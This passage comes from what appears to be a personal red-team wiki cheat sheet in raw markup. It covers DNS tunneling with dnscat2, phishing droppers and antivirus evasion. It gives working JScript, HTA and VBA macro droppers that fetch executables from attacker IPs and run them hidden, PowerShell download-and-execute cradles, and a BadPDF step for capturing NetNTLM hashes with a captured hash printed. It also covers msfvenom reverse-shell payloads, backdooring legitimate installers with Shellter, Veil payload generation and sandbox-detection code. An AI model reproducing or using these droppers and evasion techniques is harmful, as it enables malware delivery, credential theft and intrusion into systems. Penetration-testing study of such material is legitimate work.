* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
